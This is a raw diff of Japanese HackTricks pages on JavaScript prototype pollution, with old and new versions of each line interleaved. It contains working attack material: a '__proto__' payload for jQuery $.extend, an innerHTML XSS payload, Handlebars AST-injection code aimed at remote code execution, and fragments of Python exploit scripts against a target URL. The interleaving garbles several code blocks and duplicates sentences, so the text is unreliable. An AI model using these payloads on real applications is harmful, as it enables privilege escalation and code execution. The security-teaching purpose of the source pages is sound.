function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person1.__proto__.__proto__.printHello = function(){console.log("Hello");}
|
||||
person1.printHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
それぞれのJSオブジェクトには、新しいプロパティである`printHello`関数と新しい定数`globalconstant`が含まれるようになりました。
|
||||
JavaScriptのオブジェクトはキーと値のペアで定義され、JavaScriptオブジェクトのプロトタイプから継承されます。これは、Objectプロトタイプを変更することで環境内のすべてのオブジェクトに影響を与えることができることを意味します。
|
||||
|
||||
異なる例を使用して説明しましょう:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
```
|
||||
アクセス可能なオブジェクトのプロトタイプは次の通りです:
|
||||
```javascript
|
||||
car1.__proto__.__proto__;
|
||||
Vehicle.__proto__.__proto__;
|
||||
```
|
||||
以下のようにObjectのprototypeにプロパティを追加することで、すべてのJavaScriptオブジェクトがこれらの新しいプロパティを継承します:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding a method to the Object prototype
|
||||
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
|
||||
car1.announce(); // Outputs "Beep beep!"
|
||||
// Adding a property to the Object prototype
|
||||
car1.__proto__.__proto__.isVehicle = true;
|
||||
console.log(car1.isVehicle); // Outputs true
|
||||
```
|
||||
## プロトタイプ汚染
|
||||
|
||||
このテクニックは、JSオブジェクトのスキームを汚染することはできないため、前のテクニックほど効果的ではありません。ただし、**キーワード`__proto__`が禁止されている場合には、このテクニックが役立つ**ことがあります。
|
||||
|
||||
関数のプロパティを変更できる場合、関数の`prototype`プロパティを変更でき、**ここに追加した各新しいプロパティは、その関数から作成された各オブジェクトに継承されます:**
|
||||
`__proto__`の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段となります:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
person.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.sayHello() //This now works and prints hello
|
||||
//Add constant as new property
|
||||
person.prototype.newConstant = true
|
||||
person1.newConstant //This now works and is "true"
|
||||
var car1 = new Vehicle("Tesla Model S");
|
||||
// Adding properties to the Vehicle prototype
|
||||
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
|
||||
car1.beep(); // Now works and outputs "Beep beep!"
|
||||
Vehicle.prototype.hasWheels = true;
|
||||
console.log(car1.hasWheels); // Outputs true
|
||||
|
||||
//The same could be achieved using this other way:
|
||||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
// Alternate method
|
||||
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
||||
car1.constructor.prototype.isElectric = true;
|
||||
```
|
||||
この場合、`person` クラスから作成された**オブジェクトのみが影響を受けます**が、それぞれが今では `sayHello` と `newConstant` のプロパティを**継承**します。
|
||||
これは、`Vehicle`コンストラクタから作成されたオブジェクトにのみ影響し、それらに`beep`、`hasWheels`、`honk`、`isElectric`プロパティを付与します。
|
||||
|
||||
**すべてのJSオブジェクトを汚染するためにプロトタイプ汚染を悪用する方法は2つあります。**
|
||||
JavaScriptオブジェクト全体に影響を与える2つの方法は次のとおりです:
|
||||
|
||||
最初の方法は、**Object** のプロパティプロトタイプを汚染することです(前述のように、すべてのJSオブジェクトはこれから継承されます):
|
||||
1. `Object.prototype`を直接汚染する:
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||
```
|
||||
もしそれに成功すれば、各JSオブジェクトは`sayBye`関数を実行できるようになります。
|
||||
|
||||
別の方法は、次の例のように、辞書変数のコンストラクタのプロトタイプを汚染することです:
|
||||
2. よく使用される構造体のコンストラクタのプロトタイプを汚染する:
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
var example = {"key": "value"};
|
||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||
```
|
||||
実行した後、**各JSオブジェクトは`sayHey`関数を実行できる**ようになります。
|
||||
|
||||
## 他のオブジェクトを汚染する
|
||||
## 他のオブジェクトの汚染
|
||||
|
||||
### クラスからObject.prototypeへ
|
||||
|
||||
特定のオブジェクトを**汚染**し、**`Object.prototype`に到達する必要がある**シナリオでは、次のようなコードでそれを検索できます:
|
||||
特定のオブジェクトを汚染し、`Object.prototype` に到達する必要があるシナリオでは、次のようなコードを使用してそれを検索できます。
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
@ -162,7 +144,7 @@ console.log(key1 + "." + key2)
|
|||
```
|
||||
### 配列要素の汚染
|
||||
|
||||
JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、**インデックスでアクセス可能な配列の値も汚染できます**(値を上書きすることはできないため、書き込まれていないが何らかの方法で使用されているインデックスを汚染する必要があります)。
|
||||
JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、**配列の値**も**インデックスによって**アクセス可能な値を汚染できることに注意してください(値を上書きすることはできないため、書き込まれていないが何らかの方法で使用されているインデックスを汚染する必要があります)。
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -174,7 +156,9 @@ c[1] // 2 -- not
|
|||
```
|
||||
### Html要素の汚染
|
||||
|
||||
JSを使用してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコード**を書き込むことが可能です。[この解説と例はこちらから](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。
|
||||
JSを使用してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコード**を書き込むことが可能です。[この解説と例を参考に](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// Create element
|
||||
devSettings["root"] = document.createElement('main')
|
||||
|
@ -191,23 +175,25 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### 基本的な例
|
||||
|
||||
プロトタイプ汚染はどこにあるのでしょうか?それは、`Object.prototype`のプロパティを上書きできるアプリケーションのバグが発生したときに起こります。典型的なオブジェクトは、そのプロパティを`Object.prototype`から継承するため、アプリケーションの動作を変更できます。最も一般的に示される例は次のとおりです:
|
||||
プロトタイプ汚染は、アプリケーション内の欠陥によって`Object.prototype`のプロパティを上書きできるようにすることで発生します。これは、ほとんどのオブジェクトが`Object.prototype`からプロパティを派生させるためです。
|
||||
|
||||
最も簡単な例は、チェックされるオブジェクトの**未定義の属性**に値を追加することです。
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
if (user.admin) {
|
||||
```
|
||||
想像してみてください。`Object.prototype.isAdmin = true`を設定できるプロトタイプ汚染が発生した場合、アプリケーションが明示的に値を割り当てていない限り、`user.isAdmin`は常にtrueになります!
|
||||
もし属性 **`admin` が未定義** である場合、PP を悪用して次のように True に設定することが可能です:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
user.isAdmin // true
|
||||
```
|
||||
このメカニズムは、特定の入力を攻撃者が制御できる場合、プロトタイプをすべてのオブジェクトに変更できるようにプロパティを操作することに関わります。この操作は通常、JavaScriptにおいてオブジェクトのプロトタイプを直接変更することと同義である`__proto__`プロパティの設定を含みます。
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
この攻撃が成功する条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)で概説されているように、次のとおりです:
|
||||
|
||||
例えば、`obj[a][b] = value`。攻撃者が`a`と`value`の値を制御できる場合、`a`の値を`__proto__`に調整するだけで、アプリケーション内のすべての既存オブジェクトのプロパティ`b`が`value`に割り当てられます。
|
||||
|
||||
ただし、攻撃は上記のように単純ではありません。[論文](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf)によると、次の3つの条件のいずれかが満たされた場合にのみ攻撃が可能です:
|
||||
|
||||
* 再帰マージを実行する
|
||||
* パスによるプロパティ定義
|
||||
* オブジェクトのクローン
|
||||
|
||||
### 関数の上書き
|
||||
- 再帰的なマージを実行する。
|
||||
- パスに基づいてプロパティを定義する。
|
||||
- オブジェクトをクローンする。
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
|
@ -225,58 +211,41 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
|||
|
||||
### CVE-2019–11358: jQuery $ .extendを介したプロトタイプ汚染攻撃
|
||||
|
||||
$ .extendは、誤って処理されると、オブジェクト`prototype`(アプリ内のオブジェクトのテンプレート)のプロパティを変更できます。この属性はその後、すべてのオブジェクトに表示されます。注意すべきは、$ .extenedの「深い」バージョン(つまりg)のみが影響を受けるということです。
|
||||
|
||||
プログラマーは、この関数をオブジェクトを複製したり、デフォルトオブジェクトから新しいプロパティを埋めるためによく使用します。例:
|
||||
|
||||
`myObject`がユーザーからの入力フィールドであり、DBにシリアル化されると想像できます)
|
||||
|
||||
このコードでは、実行時に新しく作成されたオブジェクトに属性`isAdmin`が割り当てられると考えがちです。しかし、実際には、それは直接`{}`に割り当てられ、その後`{}.isAdmin`は`true`になります。このコードの後に、次のチェックを実行するとします:
|
||||
[詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
jQueryでは、`$ .extend` 関数が深いコピー機能が適切に使用されていない場合、プロトタイプ汚染につながる可能性があります。 この関数は、通常、オブジェクトのクローン作成やデフォルトオブジェクトからプロパティをマージするために使用されます。 ただし、誤って構成されると、新しいオブジェクトに意図されたプロパティが代わりにプロトタイプに割り当てられる可能性があります。 たとえば:
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
もしユーザーがまだ存在していない場合( `undefined` )、`isAdmin`プロパティは、その親オブジェクト内で検索されます。この親オブジェクトには、上記で値が`true`に設定された`isAdmin`が追加されています。
|
||||
|
||||
JQuery 3.3.1で実行した場合の別の例:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
これらのエラーは、特にNodeJSプロジェクトに多大な影響を与える可能性があります。最も実用的な例は、2018年12月にMongooseで発生したエラーです。
|
||||
この脆弱性は、CVE-2019–11358として特定されており、深いコピーが誤ってプロトタイプを変更し、`isAdmin`などのプロパティが適切な存在確認なしにチェックされる場合、権限のない管理者アクセスなどの潜在的なセキュリティリスクが発生することを示しています。
|
||||
|
||||
### CVE-2018–3721、CVE-2019–10744: lodashを介したプロトタイプ汚染攻撃
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash)は、19ミリオン以上の週間ダウンロード数を誇り、コードをより便利かつ整然と書くのに役立つ多くの異なる機能を提供するよく知られたライブラリです。そして、JQueryと同じ問題が発生しました。
|
||||
[詳細については、この記事を参照してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
**CVE-2018–3721**
|
||||
[Lodash](https://www.npmjs.com/package/lodash)は同様のプロトタイプ汚染の脆弱性(CVE-2018–3721、CVE-2019–10744)に直面しました。これらの問題はバージョン4.17.11で解決されました。
|
||||
|
||||
**CVE-2019–10744**
|
||||
|
||||
このバグは、すべてのバージョンのLodashに影響を与えますが、バージョン4.17.11で修正されています。
|
||||
|
||||
### 他のCVEを含むチュートリアル
|
||||
### 他のCVEを使用したチュートリアル
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
### NodeJSにおけるASTプロトタイプ汚染
|
||||
|
||||
NodeJSは、テンプレートエンジンやTypeScriptなどの機能においてJavaScriptの抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジンであるHandlebarsとPugに関連するプロトタイプ汚染に関する脆弱性について探ります。
|
||||
NodeJSは、テンプレートエンジンやTypeScriptなどの機能でJavaScriptの抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugに関連するプロトタイプ汚染に関連する脆弱性について探ります。
|
||||
|
||||
#### Handlebarsの脆弱性分析
|
||||
|
||||
Handlebarsテンプレートエンジンは、プロトタイプ汚染のために悪用される可能性があります。この脆弱性は、`javascript-compiler.js`ファイル内の`appendContent`および`pushSource`関数に主にあります。ここで、`appendContent`は`pendingContent`を連結し、`pushSource`はソースをプッシュした後に`pendingContent`を`undefined`に設定します。
|
||||
Handlebarsテンプレートエンジンは、プロトタイプ汚染攻撃の影響を受けます。この脆弱性は、`javascript-compiler.js`ファイル内の特定の関数から発生します。たとえば、`appendContent`関数は、`pendingContent`が存在する場合にそれを連結し、`pushSource`関数は、ソースを追加した後に`pendingContent`を`undefined`にリセットします。
|
||||
|
||||
##### 悪用プロセス
|
||||
##### 攻撃プロセス
|
||||
|
||||
悪用は、Handlebarsによって生成されたASTを操作することを含みます。プロセスは次のとおりです:
|
||||
攻撃は、Handlebarsによって生成されたAST(抽象構文木)を活用し、次の手順に従います:
|
||||
|
||||
1. **パーサーの操作**: パーサーは、`NumberLiteral`ノードを介して値を数値に強制します。ただし、これはプロトタイプ汚染によってバイパスされ、非数値文字列の挿入が可能になります。
|
||||
2. **コンパイラの処理**: コンパイラはASTオブジェクトまたはテンプレート文字列のいずれかを受け入れます。`input.type`が`Program`である場合、入力は事前に解析されたものと見なされ、悪用の可能性があります。
|
||||
3. **コードインジェクション**: `Object.prototype`を操作することで、任意のコードをテンプレート関数に注入し、潜在的なリモートコード実行を引き起こすことができます。
|
||||
1. **パーサーの操作**: 最初に、`NumberLiteral`ノードを介してパーサーが値が数値であることを強制します。プロトタイプ汚染により、数値でない文字列を挿入できます。
|
||||
2. **コンパイラーによる処理**: コンパイラーはASTオブジェクトまたは文字列テンプレートを処理できます。 `input.type`が`Program`と等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。
|
||||
3. **コードの挿入**: `Object.prototype`を操作することで、任意のコードをテンプレート関数に挿入し、リモートコードの実行につながる可能性があります。
|
||||
|
||||
Handlebarsの脆弱性悪用の例:
|
||||
Handlebarsの脆弱性を悪用する例:
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
@ -299,11 +268,13 @@ const template = Handlebars.precompile(source);
|
|||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
```
|
||||
上記のコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。
|
||||
このコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。
|
||||
|
||||
**外部参照**: 'flat'ライブラリに関連するプロトタイプ汚染に関する問題が見つかりました。詳細はこちら: [GitHubの問題](https://github.com/hughsk/flat/issues/105)。
|
||||
|
||||
**外部参照**: [ 'flat'ライブラリにおけるプロトタイプ汚染に関連する問題](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Pythonにおけるプロトタイプ汚染の例:
|
||||
Pythonでのプロトタイプ汚染の悪用例:
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -331,7 +302,7 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
#### Pugの脆弱性
|
||||
|
||||
Handlebarsと同様に、Pugもプロトタイプ汚染を介して悪用される可能性があります。詳細は[AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug)で確認できます。
|
||||
Pug、別のテンプレートエンジンも、プロトタイプ汚染の類似リスクに直面しています。詳細な情報は、[PugにおけるASTインジェクションの議論](https://blog.p6.is/AST-Injection/#Pug)で入手できます。
|
||||
|
||||
Pugにおけるプロトタイプ汚染の例:
|
||||
```python
|
||||
|
@ -352,16 +323,19 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
### 予防策
|
||||
|
||||
プロトタイプ汚染のリスクを軽減するために、以下の戦略を考慮してください:
|
||||
|
||||
1. **オブジェクトの不変性**:`Object.freeze`を使用して`Object.prototype`を不変にします。
|
||||
2. **入力の検証**:アプリケーションのスキーマに基づいてJSON入力を厳密に検証します。
|
||||
3. **安全なマージ関数**:危険な再帰マージ関数の使用を避けます。
|
||||
4. **プロトタイプのないオブジェクト**:プロトタイププロパティを持たないオブジェクトを作成するために`Object.create(null)`を使用します。
|
||||
5. **Mapの使用**:キーと値のペアには`Object`の代わりに`Map`を選択します。
|
||||
6. **ライブラリの更新**:定期的にライブラリを更新してセキュリティパッチを組み込みます。
|
||||
|
||||
プロトタイプ汚染のリスクを減らすために、以下にリストされている戦略が採用されることがあります:
|
||||
|
||||
1. **オブジェクトの不変性**:`Object.prototype` は `Object.freeze` を適用することで不変にすることができます。
|
||||
2. **入力の検証**:JSON 入力は厳密にアプリケーションのスキーマに対して検証されるべきです。
|
||||
3. **安全なマージ関数**:再帰的なマージ関数の危険な使用は避けるべきです。
|
||||
4. **プロトタイプのないオブジェクト**:`Object.create(null)` を使用してプロトタイププロパティのないオブジェクトを作成することができます。
|
||||
5. **Map の使用**:`Object` の代わりに、キーと値のペアを格納するために `Map` を使用すべきです。
|
||||
6. **ライブラリの更新**:定期的にライブラリを更新してセキュリティパッチを取り込むことができます。
|
||||
7. **リンターと静的解析ツール**:ESLint のような適切なプラグインを使用して、プロトタイプ汚染の脆弱性を検出して防止するためのツールを使用します。
|
||||
8. **コードレビュー**:プロトタイプ汚染に関連する潜在的なリスクを特定し、解決するために徹底的なコードレビューを実装します。
|
||||
9. **セキュリティトレーニング**:開発者にプロトタイプ汚染のリスクと安全なコードの書き方に関するベストプラクティスを教育します。
|
||||
10. **注意してライブラリを使用する**:サードパーティのライブラリを使用する際は注意が必要です。セキュリティポジションを評価し、特にオブジェクトを操作するライブラリのコードをレビューします。
|
||||
11. **ランタイム保護**:セキュリティに焦点を当てた npm パッケージを使用して、プロトタイプ汚染攻撃を検出して防止するランタイム保護メカニズムを採用します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -372,14 +346,14 @@ requests.get(TARGET_URL)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
|
||||
* **ハッキングトリックを共有する** には、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
# クライアントサイド Prototype Pollution
|
||||
# クライアントサイドのプロトタイプ汚染
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローしてください**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください
|
||||
|
||||
</details>
|
||||
|
||||
## 自動ツールを使用した発見
|
||||
## 自動ツールを使用して発見する
|
||||
|
||||
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**、** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) は、**prototype pollutionの脆弱性を見つける**ために使用できます。
|
||||
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) を使用して **プロトタイプ汚染の脆弱性を見つける** ことができます。
|
||||
|
||||
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、アクセスする**ページを自動的にスキャン**し、prototype pollutionの脆弱性を**自動的に**検出することもできます。
|
||||
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**アクセスするページ**を **自動的にスキャン** して **プロトタイプ汚染の脆弱性** を検出することもできます。
|
||||
|
||||
### プロパティが使用されている場所のデバッグ <a href="#5530" id="5530"></a>
|
||||
### プロパティが使用されている場所をデバッグする <a href="#5530" id="5530"></a>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -32,15 +32,15 @@ return 'test';
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### プロトタイプ汚染の根本原因を見つける <a href="#5530" id="5530"></a>
|
||||
### Prototype Pollutionの根本原因を見つける<a href="#5530" id="5530"></a>
|
||||
|
||||
いずれかのツールで**プロトタイプ汚染の脆弱性**が**特定**された場合、もし**コード**があまり**複雑でない**なら、Chrome Developer ToolsでJSコード内を**`location.hash/decodeURIComponent/location.search`**という**キーワード**で**検索**し、脆弱な箇所を見つけることができます。
|
||||
プロトタイプ汚染の脆弱性がツールによって特定された場合、コードが非常に複雑でない限り、Chrome Developer Toolsで`location.hash`、`decodeURIComponent`、または`location.search`などのキーワードを検索して脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。
|
||||
|
||||
コードが大きく複雑な場合、脆弱なコードを**発見する簡単な方法**があります:
|
||||
より大規模で複雑なコードベースの場合、脆弱なコードを発見するための直接的な方法は、次の手順に従うことです:
|
||||
|
||||
* ツールの一つを使用して**脆弱性を見つけ**、コンストラクタ内で**プロパティを設定する**ための**ペイロード**を取得します。ppmapでは、次のようなものが提供されます:`constructor[prototype][ppmap]=reserved`
|
||||
* 次に、ページで実行される最初のJSコード行に**ブレークポイントを設定**し、ペイロードを含むページをリフレッシュして、そこで**実行が一時停止する**ようにします。
|
||||
* JSの実行が一時停止している間に、JSコンソールに以下のスクリプトを**貼り付けます**。このコードは、'ppmap'プロパティが作成された時点を示すので、それがどこで作成されたかを見つけることができます。
|
||||
1. ツールを使用して脆弱性を特定し、コンストラクタ内でプロパティを設定するためのペイロードを取得します。ppmapによって提供される例は次のようになります:`constructor[prototype][ppmap]=reserved`。
|
||||
2. ページで最初に実行されるJavaScriptコードの最初の行にブレークポイントを設定します。このペイロードを使用してページをリフレッシュし、このブレークポイントで実行を一時停止します。
|
||||
3. JavaScriptの実行が一時停止されている間に、次のスクリプトをJSコンソールで実行します。このスクリプトは、'ppmap'プロパティが作成されたときにシグナルを送信し、その起源を特定するのに役立ちます:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
@ -48,13 +48,13 @@ var origValue = obj[prop];
|
|||
|
||||
Object.defineProperty(obj, prop, {
|
||||
get: function () {
|
||||
if ( debugGet )
|
||||
if (debugGet)
|
||||
debugger;
|
||||
return origValue;
|
||||
},
|
||||
set: function(val) {
|
||||
debugger;
|
||||
return origValue = val;
|
||||
origValue = val;
|
||||
}
|
||||
});
|
||||
|
||||
|
@ -62,41 +62,42 @@ return origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
**Sources**に戻り、「**Resume** script **execution**」をクリックします。これを行うと、全ての**javascript**が**実行**され、予想通りppmapが再び汚染されます。スニペットの助けを借りて、ppmapプロパティが正確にどこで汚染されているかを見つけることができます。**Call** **Stack**をクリックすると、**pollution**が**発生した****異なる**スタックに直面します。
|
||||
4. **Sources**タブに戻り、「スクリプトの実行を再開」を選択します。JavaScriptは実行を続行し、「ppmap」プロパティが期待通りに汚染されます。提供されたスニペットを利用することで、「ppmap」プロパティが汚染された正確な場所を特定できます。**Call Stack**を調べることで、汚染が発生した異なるスタックを観察できます。
|
||||
|
||||
しかし、どれを選ぶべきでしょうか?ほとんどの場合、Prototype PollutionはJavascriptライブラリで発生するので、.jsライブラリファイルに添付されているスタックを目指します(画像の右側を見て、どのエンドポイントにスタックが添付されているかを確認します)。この場合、4行目と6行目に2つのスタックがありますが、論理的には汚染が初めて発生する4行目を選びます。これは、この行が脆弱性の原因であることを意味します。スタックをクリックすると、脆弱なコードにリダイレクトされます。
|
||||
調査すべきスタックを決定する際には、プロトタイプ汚染が頻繁に発生するJavaScriptライブラリファイルに関連するスタックを対象にすることがしばしば役立ちます。ライブラリファイルに関連付けられたスタックを特定するには、右側に表示されるライブラリファイルに関する情報を調べます(ガイダンスとして提供された画像と同様)。行4と6など複数のスタックがある場合、初期の汚染発生を表す行4のスタックを選択するのが論理的な選択肢です。スタックをクリックすると、脆弱なコードに移動します。
|
||||
|
||||
![](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
## スクリプトガジェットの発見
|
||||
## スクリプトガジェットの検索
|
||||
|
||||
ガジェットは、**PP脆弱性が発見された後に悪用されるコード**です。
|
||||
